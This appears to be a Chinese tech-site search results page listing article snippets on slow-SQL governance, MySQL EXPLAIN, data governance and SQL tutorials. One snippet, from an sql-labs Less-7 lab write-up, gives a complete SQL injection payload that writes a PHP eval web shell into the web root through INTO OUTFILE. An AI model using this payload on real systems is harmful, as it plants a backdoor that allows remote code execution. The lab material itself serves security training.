首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏学习道路指南

    SQL治理经验

    SQL不仅会影响系统的响应速度,还可能导致数据丢失或损坏,给企业带来巨大的损失。因此,慢SQL治理成为了数据库管理的重要任务之一。 本文将分享一些慢SQL治理经验,包括如何识别、分析和优化慢查询。通过了解慢查询的原因和解决方法,我们可以提高数据库的性能和稳定性,为企业的业务发展提供更好的支持。 一、慢SQL导致的后果 我一般认为的慢SQL的定义,执行超过1s的SQL为慢SQL。 系统的响应时间延迟,影响用户体验。 资源占用增加,增高了系统的负载,其他请求响应时间也可能会收到影响。 可以使用Druid SQL Parser进行SQL解析,Druid SQL Parser是阿里巴巴的开源项目,可以将SQL语句解析为语法树,可以解析SQL的各个部分,如SELECT语句、FROM语、WHERE 五、总结 总之,慢 SQL 治理需要综合考虑多个方面,包括查询语句优化、参数调整、分区和分片、缓存使用、定期维护和优化、分布式数据库解决方案等。

    75910编辑于 2024-01-19
  • SQL性能治理经验谈

    E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308)双精度浮点数值DECIMAL对DECIMAL(M,D) ,如果M>D,为M+ 治理的几条特殊建议【建议】表中的自增列(auto_increment属性),推荐使用bigint类型。 举例子,通过SQL的内置函数:inet_aton 和 inet_ntoa,完成数值到ip地址,以及ip地址到数值的转换。 更为高阶的方法,选用int来存储时间,使用SQL函数unix_timestamp()和from_unixtime()来进行转换。

    47200编辑于 2024-09-19
  • 来自专栏后台技术汇

    SQL治理经验谈:索引覆盖

    背景explain - formatid: query sql 的标识idSELECT_TYPE: 查询的类型(SIMPLE/PRIMARY/SUBQUERY/DERIVED/UNION/UNION RESULT 使用到的索引的长度ref: 显示了查询条件类型(const/field_name/func)rows: query查询到的行数量query完成索引命中之后,才会去检查的行总数估算性能耗时:rows用来表示在SQL like '%11';单列索引,通配符在左侧,select * 不会走索引,type=ALL检索性能差结果说明加了单列索引还不够,因为select 列 和 where 条件语句 两个变量,都可能导致sql :https://www.geeksforgeeks.org/explain-in-sql/官网Mysql的EXPLAIN信息描述:https://dev.mysql.com/doc/workbench /en/wb-performance-explain.html其他文章SQL性能治理经验谈理解到位:灾备和只读数据库记录一次Mysql死锁事件(由Insert与uniqueKey导致)一文带你看懂:亿级大表垂直拆分的工程实践亿级大表冷热分级的工程实践

    31700编辑于 2024-09-19
  • 来自专栏故障治理

    从管控角度谈慢SQL治理

    那么在这1分钟时间内,其他SQL能够分配的资源总量就是7,如此循环,当资源分配完的时候,所有新的SQL执行将会排队等待。2. 作为横向的风险隐患治理团队,为了对公司内部多个部门多个系统进行慢SQL治理,我们总结了几点经验,仅供参考。 SQL对系统的影响,不方便长期跟踪治理。 而通过慢SQL分析平台,对系统中的慢SQL进行统计、分析、分组,能够准确反映每个慢SQL对系统的影响,实时展示当前系统数据库的慢SQL情况,并可以对慢SQL风险进行数字化打分,方便我们对慢SQL分级治理 3.分级治理、长期追踪慢SQL治理是一个需要长期坚持做的事情,我们的做法是每月取数据库主机cpu使用率TOP10数据库清单,拉出top清单中的TOP5慢SQL(根据评分排序),并组织相关系统进行优化,对比优化前后的负载情况

    51910编辑于 2024-09-09
  • 来自专栏超级架构师

    【数据治理】引导您制定有效数据治理计划的 7 个步骤

    内部数据治理:第 3 部分 |数据治理7 个步骤 在本系列的第一部分中,我们定义了数据治理并研究了导致大规模清理项目的失误。 在第二部分中,我们检查了常见的数据治理模型,并回顾了哪些模型最适合不同类型的组织。在这篇文章中,我们将介绍数据治理的七个关键步骤。 即使您了解数据治理的主题,知道从哪里开始仍然是一个挑战。 这些步骤将帮助您走上通往有效数据治理框架的正确道路: 1. 建立数据治理组织 第一步是评估各种数据治理模型并选择最适合您组织的模型。数据治理组织的角色因一种模式而异。 识别战略主数据对象 数据治理无疑有助于提高数据的一致性,并使其与系统设计保持同步。但是,管理所维护的每条数据并不是一个好主意。必须识别需要治理的数据对象。 SAP MDG、Itelligence it.mds 和 SAP Information Steward,所有这些都内置了自动化各种治理流程和确保合规性的功能。 7.

    88520编辑于 2022-05-30
  • 来自专栏网安菜鸟成长记

    sql-labs-Less-7|SQL注入

    前言: 本关卡为sql-labs系列less-7,本关个人认为比较简单,讲的比较详细,会有点啰嗦,谅解~如有错误的地方欢迎师傅们指正! sql注入语句为: http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);? >’ into outfile “D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+ '<?php @eval($_POST["123"]);? "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件

    84210发布于 2020-10-28
  • 来自专栏一个爱吃西瓜的程序员

    学习SQL7】-函数

    根据用途不同,SQL中的函数大致可以分为算术函数、字符串函数、日期函数、转换函数和聚合函数。 INSERT INTO SampleMath VALUES (NULL, NULL, NULL);INSERT 0 1 INSERT INTO SampleMath VALUES (NULL, 7, 执行结果: m | n | p----------+---+--- 500.000 | 0 | -180.000 | 0 | | | | 7 AS mod_col FROM SampleMath; 执行结果: n | p | mod_col---+---+--------- 0 | | 0 | | | | 7 ---+---+----------- 500.000 | 0 | 500 -180.000 | 0 | -180 | | | 7

    1.5K120发布于 2018-04-04
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    ​ 我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    95500发布于 2019-07-11
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    52430发布于 2019-08-30
  • 来自专栏杨建荣的学习笔记

    SQL治理高阶实践:异常防御体系建设与应用挖掘

    分享概要 一、防微杜渐:异常SQL防御体系建设 二、深度观测:全量SQL分析与挖掘 三、容量预测:数据库仿真流量压测 一、防微杜渐:异常SQL防御体系建设 1.SQL治理阶段 如上图所示,SQL治理的基本阶段主要包括开发 在开发阶段,研发通常不受相应开发规范和SQL审核约束。从开发到测试或生产发布时,才会进行DDL和DML的审核。目前业内SQL治理,主要还是在SQL出问题之后进行相应的治理。 之所以要把治理能力前置到测试阶段,是因为越早发现有问题的SQL,对整体治理或改造的成本就越低,对生产的影响也越小。 4.事后治理 事后治理主要是慢查询治理。 2)SQL挖掘:深度治理 基于全量SQL分析表、索引是否已废弃,不同db的热点表、热点SQL,单条SQL RT是否稳定,甚至可以分析表的活跃数据情况等治理场景。

    58130编辑于 2023-09-04
  • 来自专栏华章科技

    详解数据治理相关的7个术语和名词

    导读:本文介绍数据治理有关的名词和概念。当然,与数据治理相关的概念非常多,以下仅罗列几个常见的。 作者:用友平台与数据智能团队 来源:大数据DT(ID:hzdashuju) 01 数据元 1. 应用举例 元数据是业界公认的数据治理中的核心要素,做好元数据管理,能够更容易地对数据进行检索、定位、管理和评估。 为了提升数据仓库的数据质量,确保数据分析的准确性,数据仓库的建设需要实施数据治理的策略。很多企业的数据治理项目实施的动因都是解决数据仓库中的数据质量问题,以便获得更准确的分析决策。 数据湖的出现给数据治理带来了一定的挑战。数据湖将数据全部集中存储,那数据治理是在“湖中”治理还是在“湖外”治理,这是个需要企业研究和探索的问题。 石秀峰,用友集团数据治理专家、中国电子商会数据资源服务创新专业委员会受聘专家、数据质量管理智库(DQPro)受聘专家。深耕数据领域十余年,曾主导过多家大型集团的数据治理、数据集成等项目的咨询和落地。

    1.5K20编辑于 2022-01-20
  • 来自专栏捞月亮的小北

    7. 特殊SQL的执行

    t_student(student_id,student_name,clazz_id)

    23710编辑于 2023-12-01
  • 来自专栏希里安

    微服务治理?容器治理

    可识别英语、俄语、中文等语言,感兴趣的可以看下--[Translumo](https://github.com/Danily07/Translumo) 微服务和容器治理 微服务治理和容器治理都是与分布式应用程序和容器化部署相关的领域 微服务治理(Microservices Governance): 微服务治理是管理和维护微服务架构中的各个微服务组件的一系列策略、实践和工具。 自动化: 自动化是微服务治理的核心,包括自动部署、自动伸缩和自动化测试等。 容器治理(Container Orchestration): 容器治理是管理容器化应用程序的一系列策略和工具。 容器治理实例 容器治理是确保容器化应用程序在分布式环境中可靠运行的一组实践和工具。 容器治理: 安全性容器治理可以管理访问控制、证书管理和数据加密,以确保数据的保密性和完整性。

    1K40编辑于 2023-10-30
  • SQL 审核解决了部分问题,另一部分是慢 SQL 治理

    因为审核解决的是“降低变更风险”,慢 SQL 治理解决的是“已经出现慢 SQL 后怎么持续处理”。这两件事都重要,但不是同一层级的问题。 维度SQL 审核慢 SQL 治理核心问题别乱改已经慢了怎么办关注点谁能提交、谁来审批、能不能执行哪类 SQL 变多、哪个模板优先、改完有没有效发生时机变更前运行中 + 变更后成功标准没有违规变更慢 SQL 这样一来,SQL 审核就不再是孤零零的一步,而是被放回数据库日常治理链路里。 回到 SQL 窗口分析执行计划确定需要优化的 SQL 后,可以在 SQL 窗口执行:EXPLAIN <SQL语句>。 更能显著节省时间的,不是再多一层审核,而是慢 SQL 这条链路终于能被持续治理。审核管的是“降低变更风险”,治理管的才是“持续稳定”。

    8410编辑于 2026-03-27
  • 来自专栏实时流式计算

    【译文】数据治理与BI治理

    几十年来,数据治理一直是企业关注的焦点,并随着企业数据量的急剧增长,数据治理的重要性日益凸显。然而,大规模的有效BI治理一直是一个难以实现的目标,因为它需要比传统数据治理更广泛的关注点。 毕竟,如果给用户的交付物不一致,或者缺乏适当的上下文以确保业务用户正确地理解数据,那么所谓高质量、精心治理的数据又有什么价值呢? 有效的BI治理要求组织为数据和分析的治理建立流程。 BI门户的关键治理角色体现在以下两个场景:独立的BI治理平台,或与数据目录协同工作。 什么是数据治理? 数据治理是一组确保有效管理和利用数据的过程和技术的集合。 组织中的分析师和数据管理员使用数据治理工具来执行公司治理政策,来促进数据的正确使用。 应用这些工具进行数据治理需要大量的持续投资,因此许多组织希望从这些投资中获得可观的投资回报。 什么是BI治理

    1.5K40编辑于 2023-03-24
  • 来自专栏橙子架构杂谈

    【服务治理】服务治理漫谈

    【服务治理】服务治理漫谈 0. 这能给我们后续无论是业务应用还是基础技术领域的服务治理提供一些参考。 1. 什么是服务治理 在一切的最开始,我们先来问自己一个问题,什么叫做服务治理? 我们需要什么样的服务治理 我们了解了什么是服务治理、服务治理是怎么演变发展的,这时候,我们不禁会想,我也要做服务治理!但是,请先停一下,请先问一下自己,我们需要什么样的服务治理? 但,服务治理上,如何才能实现更高效的自动化呢?我认为: 自动化是治理的高级形态,而标准化是规模化治理的前提。 结语与展望 我们来回顾一下,在第一章,我们讲述了什么是服务治理,认为服务治理治理三要素和服务环,第二章,介绍了服务治理的发展演变,简单介绍了三个阶段的思潮和演变的逻辑,让我们对于目前服务治理大发展方向和未来的发展趋势可以有一个初步的预测

    3.9K31编辑于 2021-12-06
  • 深入解析MySQL(7)——SQL调优

    帮助开发者理解数据库引擎如何处理特定的SQL查询,从而优化查询性能(explain本身不会执行查询,仅显示执行计划)。explain输出通常包含以下关键信息: id:表示查询中执行顺序的标识符。 若跳过最左字段或中间字段,索引可能失效 3.MySQL优化器 作用:MySQL内置优化器是数据库系统的核心组件之一,负责在执行SQL查询时生成高效的执行计划。 其主要作用包括: 查询重写:优化器会对原始SQL语句进行语法分析和重写 成本估算与分析:优化器通过成本模型(Cost Model,一种量化评估机制)评估查询执行计划的性能 执行计划选择:优化器比较多种可能的执行方案 abcd%' or key like '%c')) or (key < 'bar' and nokey = 4) or (key < 'uux' and key > 'z'); 优化过程如下: 优化后SQL 可以表示为 ('abc',10,-∞) < (key1,key2,key3) < ('abc',+∞,+∞) 3.2 索引合并优化 在SQL查询中,当where子句包含多个条件时,数据库优化器会根据索引选择最有效的执行计划

    13910编辑于 2026-01-13
  • 来自专栏可以叫我才哥

    分享7SQL的进阶用法

    SQL(Structured Query Language)是一种强大的数据库查询和操作语言,它用于与关系数据库进行交互。 随着数据的不断增长和应用需求的日益复杂,掌握SQL的进阶用法对于数据库管理员、数据分析师和后端开发人员等专业人士来说至关重要。 本文将分享7SQL的进阶用法,并提供实际的代码案例,帮助您提升数据库操作的效率和灵活性。 1. 利用触发器自动化数据操作 触发器可以在特定的数据库事件发生时自动执行预定义的SQL操作,从而实现数据的自动化管理。 product_stock SET quantity = quantity - NEW.ordered_quantity WHERE product_id = NEW.product_id; END; 7.

    45810编辑于 2024-03-06
  • 来自专栏机器学习/数据可视化

    SQL进阶-7-外连接使用

    SQL进阶-7-外连接(outer join) 本文中介绍的SQL中行列转换和嵌套式侧栏的生成,将SQL语句查询的结果转换成我们想要的结果。 行转列,制作交叉表头 列转行 ? 外连接实现 -- 水平展开求交叉表,使用外连接 select C0.name, case when C1.name is not null then 'o' else null end as "SQL = C2.name left outer join(select name from Courses where course='java中级') C3 on CO.name = C3.name; SQL 中指定了名称的表和视图都是相当于是集合 C0-C3的各自内容如下: C0包含了全部的员工 C1-C3每个课程学习者的集合 name(C0) name(C1-SQL) name(C2-UNIX) name 入门' and C1.name = C0.name) "SQL入门", (select 'o' from Courses C2 where course='UNIX基础' and

    85010发布于 2021-03-01
  • 来自专栏全栈程序员必看

    服务治理

    服务治理可以说是微服务架构中最为核心和基础的模块,它主要用来实现各个微服务实例的自动化注册和发现。 中 istio 谷歌、IBM、Lyft 是 少 Ps:Spring Cloud Eureka是Spring Cloud Netflix 微服务套件的一部分,主要负责完成微服务架构中的服务治理功能 1.阿里 – Dubbo 2.阿里 – HSF 3.腾讯 – Tars 4.JSF 5.CNCF – Linkerd 6.新浪 – Motan 7.istio 大部分(Linkerd除外、 除了这3个核心动作之外,其它的辅助操作还有统计上报、鉴权等等,这也是我们搭建一个服务治理框架需要实现的功能。从MVP的角度来说,注册、订阅、变更下发是最基础的核心功能。 服务治理的扩展 在企业中,我们可以针对服务治理做更多的扩展。比如:   1.基于版本号的服务管理,可以用于灰度发布。   2.请求的复制回放,用于模拟真实的流量进行压测。   

    1.2K30编辑于 2022-08-04
领券